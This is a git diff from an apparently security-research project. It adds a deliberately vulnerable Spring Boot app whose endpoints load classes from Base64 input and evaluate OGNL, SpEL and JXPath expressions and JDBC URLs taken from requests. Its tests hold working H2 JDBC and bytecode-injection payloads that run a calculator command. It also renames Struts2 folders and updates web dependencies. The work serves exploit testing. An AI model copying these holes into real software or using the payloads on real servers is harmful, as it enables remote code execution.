+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java
@@ -0,0 +1,12 @@
+package com.reajason.javaweb.vul.springboot3;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class VulSpringboot3Application {
+
+ public static void main(String[] args) {
+ SpringApplication.run(VulSpringboot3Application.class, args);
+ }
+}
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java
new file mode 100644
index 00000000..96e19600
--- /dev/null
+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.vul.springboot3.controller;
+
+import com.reajason.javaweb.vul.springboot3.ClassDefiner;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@RestController
+@RequestMapping("/b64")
+public class Base64ClassLoaderController {
+
+ @PostMapping
+ public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
+ byte[] bytes = Base64.getDecoder().decode(data);
+ Object o = ClassDefiner.defineClass(bytes).newInstance();
+ return o.toString();
+ }
+}
\ No newline at end of file
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java
new file mode 100644
index 00000000..2bbdaca2
--- /dev/null
+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.vul.springboot3.controller;
+
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/6
+ */
+@RestController
+@RequestMapping("/biginteger")
+public class BigIntegerClassLoaderController extends ClassLoader {
+ static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
+ Class> decoderClass = Class.forName("java.math.BigInteger");
+ return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
+ }
+
+ @PostMapping
+ public void base64ClassLoader(String data) throws Exception {
+ byte[] bytes = decodeBigInteger(data);
+ defineClass(null, bytes, 0, bytes.length).newInstance();
+ }
+}
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java
new file mode 100644
index 00000000..1df49d6d
--- /dev/null
+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java
@@ -0,0 +1,123 @@
+package com.reajason.javaweb.vul.springboot3.controller;
+
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@RestController
+public class IndexController {
+
+ @RequestMapping("/test")
+ public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
+ return "";
+ }
+
+ @SuppressWarnings("all")
+ public static Object invokeMethod(Object obj, String methodName) throws
+ Exception {
+ return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+ }
+
+ @SuppressWarnings("all")
+ public static Object invokeMethod(Object obj, String methodName, Class>[] paramClazz, Object[] param) throws
+ Exception {
+ Class> clazz = (obj instanceof Class) ? (Class>) obj : obj.getClass();
+ Method method = null;
+ while (clazz != null && method == null) {
+ try {
+ if (paramClazz == null) {
+ method = clazz.getDeclaredMethod(methodName);
+ } else {
+ method = clazz.getDeclaredMethod(methodName, paramClazz);
+ }
+ } catch (NoSuchMethodException e) {
+ clazz = clazz.getSuperclass();
+ }
+ }
+ if (method == null) {
+ throw new NoSuchMethodException("Method not found: " + methodName);
+ }
+ method.setAccessible(true);
+ return method.invoke(obj instanceof Class ? null : obj, param);
+ }
+
+ @SuppressWarnings("all")
+ public static byte[] decodeBase64(String base64Str) throws Exception {
+ Class> decoderClass;
+ try {
+ decoderClass = Class.forName("java.util.Base64");
+ Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+ return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+ } catch (Exception ignored) {
+ decoderClass = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+ }
+ }
+
+ @SuppressWarnings("all")
+ public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ GZIPInputStream gzipInputStream = null;
+
+ try {
+ gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+ byte[] buffer = new byte[4096];
+ int n;
+ while ((n = gzipInputStream.read(buffer)) > 0) {
+ out.write(buffer, 0, n);
+ }
+ } finally {
+ if (gzipInputStream != null) {
+ try {
+ gzipInputStream.close();
+ } catch (IOException ignored) {
+ }
+ }
+ out.close();
+ }
+ return out.toByteArray();
+ }
+
+ @SuppressWarnings("all")
+ public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+ for (Class> clazz = obj.getClass();
+ clazz != Object.class;
+ clazz = clazz.getSuperclass()) {
+ try {
+ return clazz.getDeclaredField(name);
+ } catch (NoSuchFieldException ignored) {
+
+ }
+ }
+ throw new NoSuchFieldException(name);
+ }
+
+
+ @SuppressWarnings("all")
+ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+ try {
+ Field field = getField(obj, name);
+ field.setAccessible(true);
+ return field.get(obj);
+ } catch (NoSuchFieldException ignored) {
+ }
+ return null;
+ }
+
+ @GetMapping("/")
+ public String index() {
+ return "hello";
+ }
+}
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java
new file mode 100644
index 00000000..89e172b3
--- /dev/null
+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.vul.springboot3.controller;
+
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.sql.Connection;
+import java.sql.DriverManager;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/27
+ */
+@RestController
+public class JDBCController {
+
+ @PostMapping("/jdbc")
+ public void JDBC(String data) throws Exception {
+ try {
+ Connection connection = DriverManager.getConnection(data);
+ connection.close();
+ } catch (Throwable e) {
+ Throwable ex = e.getCause();
+ while (ex.getCause() != null) {
+ ex = ex.getCause();
+ }
+ if (!(ex instanceof ClassCastException)) {
+ throw e;
+ }
+ }
+ }
+}
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java
new file mode 100644
index 00000000..3e2e6f00
--- /dev/null
+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java
@@ -0,0 +1,20 @@
+package com.reajason.javaweb.vul.springboot3.controller;
+
+import org.apache.commons.jxpath.JXPathContext;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+@RestController
+@RequestMapping("/jxpath")
+public class JXPathController {
+ @PostMapping
+ protected Object doPost(String data) {
+ JXPathContext context = JXPathContext.newContext(null);
+ return context.getValue(data);
+ }
+}
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java
new file mode 100644
index 00000000..f3f0fe81
--- /dev/null
+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java
@@ -0,0 +1,25 @@
+package com.reajason.javaweb.vul.springboot3.controller;
+
+import ognl.Ognl;
+import ognl.OgnlContext;
+import ognl.OgnlException;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+@RestController
+@RequestMapping("/ognl")
+public class OgnlController {
+ @RequestMapping
+ protected Object doPost(String data) {
+ OgnlContext context = new OgnlContext();
+ try {
+ return Ognl.getValue(data, context, context.getRoot());
+ } catch (OgnlException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java
new file mode 100644
index 00000000..a5e30252
--- /dev/null
+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java
@@ -0,0 +1,25 @@
+package com.reajason.javaweb.vul.springboot3.controller;
+
+import org.springframework.expression.spel.standard.SpelExpressionParser;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@RestController
+@RequestMapping("/spel")
+public class SpELController {
+
+ /**
+ * 10000 长度限制,无法使用
+ */
+ @PostMapping
+ public ResponseEntity> spel(String data) {
+ return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
+ }
+}
diff --git a/vul/vul-springboot359/src/main/resources/application.properties b/vul/vul-springboot359/src/main/resources/application.properties
new file mode 100644
index 00000000..a83ba03e
--- /dev/null
+++ b/vul/vul-springboot359/src/main/resources/application.properties
@@ -0,0 +1 @@
+spring.application.name=vul-springboot3
diff --git a/vul/vul-springboot359/src/test/java/CommandExec.java b/vul/vul-springboot359/src/test/java/CommandExec.java
new file mode 100644
index 00000000..c708f1b2
--- /dev/null
+++ b/vul/vul-springboot359/src/test/java/CommandExec.java
@@ -0,0 +1,15 @@
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/27
+ */
+public class CommandExec {
+ static {
+ try {
+ java.lang.Runtime.getRuntime().exec("open -a Calculator");
+ } catch (IOException e) {
+
+ }
+ }
+}
diff --git a/vul/vul-springboot359/src/test/java/JDBCTest.java b/vul/vul-springboot359/src/test/java/JDBCTest.java
new file mode 100644
index 00000000..02eb7ae2
--- /dev/null
+++ b/vul/vul-springboot359/src/test/java/JDBCTest.java
@@ -0,0 +1,54 @@
+import com.reajason.javaweb.vul.springboot3.controller.JDBCController;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/27
+ */
+public class JDBCTest {
+
+ @Test
+ void testJDBC() throws Exception {
+ JDBCController jdbcController = new JDBCController();
+ String funcionName = "testJDBC";
+ String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
+ "String shellexec(String abc) throws java.lang.Exception{" +
+ "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
+ "return \"test\"\\;" +
+ "}'\\;" +
+ "CALL " + funcionName + "('123')";
+ jdbcController.JDBC(str);
+ }
+
+ @Test
+ void testJDBC2() throws Exception {
+ JDBCController jdbcController = new JDBCController();
+ String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
+ String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
+ "String a(String a) throws java.lang.Throwable{" +
+ "String base64Str=\"" + b64Bytecode + "\"\\;" +
+ "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
+ "try {" +
+ " java.lang.Class> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
+ " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
+ " unsafeField.setAccessible(true)\\;" +
+ " java.lang.Object unsafe = unsafeField.get(null)\\;" +
+ " java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
+ " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
+ " long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
+ " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
+ " java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
+ " java.lang.Class> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
+ " getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
+ "} catch (Throwable e) {}" +
+ "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
+ "defMethod.setAccessible(true)\\;" +
+ "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
+ "myclass.newInstance()\\;" +
+ "return null\\;" +
+ "}'\\;" +
+ "CALL look('')";
+ System.out.println(str);
+ jdbcController.JDBC(str);
+ }
+}
diff --git a/vul/vul-struct2/build.gradle.kts b/vul/vul-struts2/build.gradle.kts
similarity index 100%
rename from vul/vul-struct2/build.gradle.kts
rename to vul/vul-struts2/build.gradle.kts
diff --git a/vul/vul-struct2/src/main/java/Base64ClassLoaderAction.java b/vul/vul-struts2/src/main/java/Base64ClassLoaderAction.java
similarity index 100%
rename from vul/vul-struct2/src/main/java/Base64ClassLoaderAction.java
rename to vul/vul-struts2/src/main/java/Base64ClassLoaderAction.java
diff --git a/vul/vul-struct2/src/main/java/BigIntegerClassLoaderAction.java b/vul/vul-struts2/src/main/java/BigIntegerClassLoaderAction.java
similarity index 100%
rename from vul/vul-struct2/src/main/java/BigIntegerClassLoaderAction.java
rename to vul/vul-struts2/src/main/java/BigIntegerClassLoaderAction.java
diff --git a/vul/vul-struct2/src/main/java/JavaReadObjAction.java b/vul/vul-struts2/src/main/java/JavaReadObjAction.java
similarity index 100%
rename from vul/vul-struct2/src/main/java/JavaReadObjAction.java
rename to vul/vul-struts2/src/main/java/JavaReadObjAction.java
diff --git a/vul/vul-struct2/src/main/java/ScriptEngineAction.java b/vul/vul-struts2/src/main/java/ScriptEngineAction.java
similarity index 100%
rename from vul/vul-struct2/src/main/java/ScriptEngineAction.java
rename to vul/vul-struts2/src/main/java/ScriptEngineAction.java
diff --git a/vul/vul-struct2/src/main/java/TestAction.java b/vul/vul-struts2/src/main/java/TestAction.java
similarity index 100%
rename from vul/vul-struct2/src/main/java/TestAction.java
rename to vul/vul-struts2/src/main/java/TestAction.java
diff --git a/vul/vul-struct2/src/main/java/UploadAction.java b/vul/vul-struts2/src/main/java/UploadAction.java
similarity index 100%
rename from vul/vul-struct2/src/main/java/UploadAction.java
rename to vul/vul-struts2/src/main/java/UploadAction.java
diff --git a/vul/vul-struct2/src/main/resources/struts.xml b/vul/vul-struts2/src/main/resources/struts.xml
similarity index 100%
rename from vul/vul-struct2/src/main/resources/struts.xml
rename to vul/vul-struts2/src/main/resources/struts.xml
diff --git a/vul/vul-struct2/src/main/webapp/WEB-INF/web.xml b/vul/vul-struts2/src/main/webapp/WEB-INF/web.xml
similarity index 100%
rename from vul/vul-struct2/src/main/webapp/WEB-INF/web.xml
rename to vul/vul-struts2/src/main/webapp/WEB-INF/web.xml
diff --git a/vul/vul-struct2/src/main/webapp/index.html b/vul/vul-struts2/src/main/webapp/index.html
similarity index 100%
rename from vul/vul-struct2/src/main/webapp/index.html
rename to vul/vul-struts2/src/main/webapp/index.html
diff --git a/web/bun.lock b/web/bun.lock
index 74647898..78355f2d 100644
--- a/web/bun.lock
+++ b/web/bun.lock
@@ -5,52 +5,53 @@
"": {
"name": "fumadocs",
"dependencies": {
- "@base-ui/react": "^1.4.1",
- "@hookform/resolvers": "^5.2.2",
+ "@base-ui/react": "^1.5.0",
+ "@hookform/resolvers": "^5.4.0",
"@orama/orama": "^3.1.18",
"@orama/stopwords": "^3.1.18",
"@orama/tokenizers": "^3.1.18",
- "@react-router/node": "^7.14.2",
- "@tanstack/react-query": "^5.100.5",
+ "@react-router/node": "^7.15.1",
+ "@tanstack/react-query": "^5.100.14",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
- "framer-motion": "^12.38.0",
- "fumadocs-core": "^16.8.4",
- "fumadocs-mdx": "14.3.1",
- "fumadocs-ui": "16.8.4",
- "i18next": "^26.0.8",
- "isbot": "^5.1.39",
- "lucide-react": "^1.11.0",
- "motion": "^12.38.0",
- "react": "^19.2.5",
+ "framer-motion": "^12.40.0",
+ "fumadocs-core": "^16.9.1",
+ "fumadocs-mdx": "15.0.8",
+ "fumadocs-ui": "16.9.1",
+ "i18next": "^26.2.0",
+ "isbot": "^5.1.40",
+ "lucide-react": "^1.16.0",
+ "motion": "^12.40.0",
+ "react": "^19.2.6",
"react-copy-to-clipboard": "^5.1.1",
- "react-dom": "^19.2.5",
- "react-hook-form": "^7.74.0",
- "react-i18next": "^17.0.4",
- "react-medium-image-zoom": "^5.4.3",
+ "react-dom": "^19.2.6",
+ "react-hook-form": "^7.76.1",
+ "react-i18next": "^17.0.8",
+ "react-medium-image-zoom": "^5.4.5",
"react-syntax-highlighter": "^16.1.1",
"sonner": "^2.0.7",
- "tailwind-merge": "^3.5.0",
+ "tailwind-merge": "^3.6.0",
"tw-animate-css": "^1.4.0",
"yup": "^1.7.1",
},
"devDependencies": {
- "@react-router/dev": "^7.14.2",
- "@tailwindcss/vite": "^4.2.4",
+ "@react-router/dev": "^7.15.1",
+ "@tailwindcss/vite": "^4.3.0",
"@types/mdx": "^2.0.13",
- "@types/node": "^25.6.0",
- "@types/react": "^19.2.14",
+ "@types/node": "^25.9.1",
+ "@types/react": "^19.2.15",
"@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-dom": "^19.2.3",
"@types/react-syntax-highlighter": "^15.5.13",
- "oxfmt": "^0.46.0",
- "oxlint": "^1.61.0",
+ "baseline-browser-mapping": "^2.10.32",
+ "oxfmt": "^0.51.0",
+ "oxlint": "^1.66.0",
"react-router-devtools": "^6.2.0",
"rimraf": "^6.1.3",
"serve": "^14.2.6",
- "tailwindcss": "^4.2.4",
+ "tailwindcss": "^4.3.0",
"typescript": "^6.0.3",
- "vite": "^8.0.10",
+ "vite": "^8.0.14",
"vite-plugin-devtools-json": "^1.0.0",
"vite-tsconfig-paths": "^6.1.1",
},
@@ -115,9 +116,9 @@
"@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
- "@base-ui/react": ["@base-ui/react@1.4.1", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.2.8", "@floating-ui/react-dom": "^2.1.8", "@floating-ui/utils": "^0.2.11", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-Ab5/LIhcmL8BQcsBUYiOfkSDRdLpvgUBzMK30cu684JPcLclYlztharvCZyNNgzJtbAiREzI9q0pI5erHCMgCw=="],
+ "@base-ui/react": ["@base-ui/react@1.5.0", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.2.9", "@floating-ui/react-dom": "^2.1.8", "@floating-ui/utils": "^0.2.11", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-z1gSAlced1yY+iM+mHDEtIkD8UI3Ebs52MuBPxvV6f5hRutk+xvCH/wuB7hDqDzK9JG5FoMz5nhrqtSs1wjt1A=="],
- "@base-ui/utils": ["@base-ui/utils@0.2.8", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.11", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-jvOi+c+ftGlGotNcKnzPVg2IhCaDTB6/6R3JeqdjdXktuAJi3wKH9T7+svuaKh1mmfVU11UWzUZVH74JDfi/wQ=="],
+ "@base-ui/utils": ["@base-ui/utils@0.2.9", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.11", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-x/PDDCYzoqPpjrdyb3VcyylTI2IjUXEtYDGi5foh7KsnmNJIIaVwA2GLgDH1dps1GgXiJbA60hM+AyuTfQzIvw=="],
"@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-/uXXkBcPKVQY7rc9Ys2CrlirBJYbpESEDme7RKiBD6MmqR2w3j0+ZZXRIL2xiaNPsIMMNhP1YnA+jRRxoOAFrA=="],
@@ -191,7 +192,7 @@
"@fumadocs/tailwind": ["@fumadocs/tailwind@0.0.5", "", { "peerDependencies": { "@tailwindcss/oxide": "^4.0.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@tailwindcss/oxide", "tailwindcss"] }, "sha512-ENKPWUDRmriccsrUDE4bDBq3FNr/ms3BP2rWlsAEMV1yP23pcCaan+ceGfeBUsAQjw7sj9Q3R4Kl3g/TCStPzQ=="],
- "@hookform/resolvers": ["@hookform/resolvers@5.2.2", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA=="],
+ "@hookform/resolvers": ["@hookform/resolvers@5.4.0", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-EIsqr/t/qbinPIhGjMdtvutIN1Kk4uwbROE9/UQ93CAVGR7GkA7Y92+fX80OzXi/OB67jVFYwKGO1WzkxmkFZw=="],
"@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
@@ -215,83 +216,83 @@
"@orama/tokenizers": ["@orama/tokenizers@3.1.18", "", { "dependencies": { "@orama/orama": "3.1.18" } }, "sha512-Ra4dFddWZ7hCGPAehnd/6QZjlzQvczYSt1y1Fq4HteJqRu2yvfR6fXvxiUnKi+HIgJYPxKhebJEjvJdF8LYQWg=="],
- "@oxc-project/types": ["@oxc-project/types@0.127.0", "", {}, "sha512-aIYXQBo4lCbO4z0R3FHeucQHpF46l2LbMdxRvqvuRuW2OxdnSkcng5B8+K12spgLDj93rtN3+J2Vac/TIO+ciQ=="],
+ "@oxc-project/types": ["@oxc-project/types@0.132.0", "", {}, "sha512-FESMOxil5Se014ui/Eq8fT5uHJo6nIRwH0PfJrZJXs6Gek3ZVFOrpUv3YIZT20m+extU98Hg1Ym72U58rlsxUQ=="],
- "@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.46.0", "", { "os": "android", "cpu": "arm" }, "sha512-b1doV4WRcJU+BESSlCvCjV+5CEr/T6h0frArAdV26Nir+gGNFNaylvDiiMPfF1pxeV0txZEs38ojzJaxBYg+ng=="],
+ "@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.51.0", "", { "os": "android", "cpu": "arm" }, "sha512-Ni0sCqg5CIHaLIYFGj+ncbcumylvNC6FE4rfD0KfdmnWHbPJ+zev0qZCXKxy2hFVa0fYRK0yPzf5nzPbkZou7g=="],
- "@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.46.0", "", { "os": "android", "cpu": "arm64" }, "sha512-v6+HhjsoV3GO0u2u9jLSAZrvWfTraDxKofUIQ7/ktS7tzS+epVsxdHmeM+XxuNcAY/nWxxU1Sg4JcGTNRXraBA=="],
+ "@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.51.0", "", { "os": "android", "cpu": "arm64" }, "sha512-eu5lAZjuo0KAkp+M24EhDqfOwA8owQ8d7wyBlOUUGRbDLHpU3IRlDHp8Dif+YqGlxs6jra7yS6WQu/NkPhAxeg=="],
- "@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.46.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-3eeooJGrqGIlI5MyryDZsAcKXSmKIgAD4yYtfRrRJzXZ0UTFZtiSveIur56YPrGMYZwT4XyVhHsMqrNwr1XeFA=="],
+ "@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.51.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-6LsUNIdURhhcIfIn8+xsOb61mSTa9msAHTeSGx9Jf4rsP/gN8PGCF+SKWPAQZbND2w/WBkqQ6303jqEEIXzMdQ=="],
- "@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.46.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-QG8BDM0CXWbu84k2SKmCqfEddPQPFiBicwtYnLqHRWZZl57HbtOLRMac/KTq2NO4AEc4ICCBpFxJIV9zcqYfkQ=="],
+ "@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.51.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-9aUMGmVxdHjYMsEAW1tNRoieTJXlVNDFkRvIR1J7LttJXWjVYCu2ekclLij2KJtxBxSQOYSHd12ME/adVGVbZg=="],
- "@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.46.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-9DdCqS/n2ncu/Chazvt3cpgAjAmIGQDz7hFKSrNItMApyV/Ja9mz3hD4JakIE3nS8PW9smEbPWnb389QLBY4nw=="],
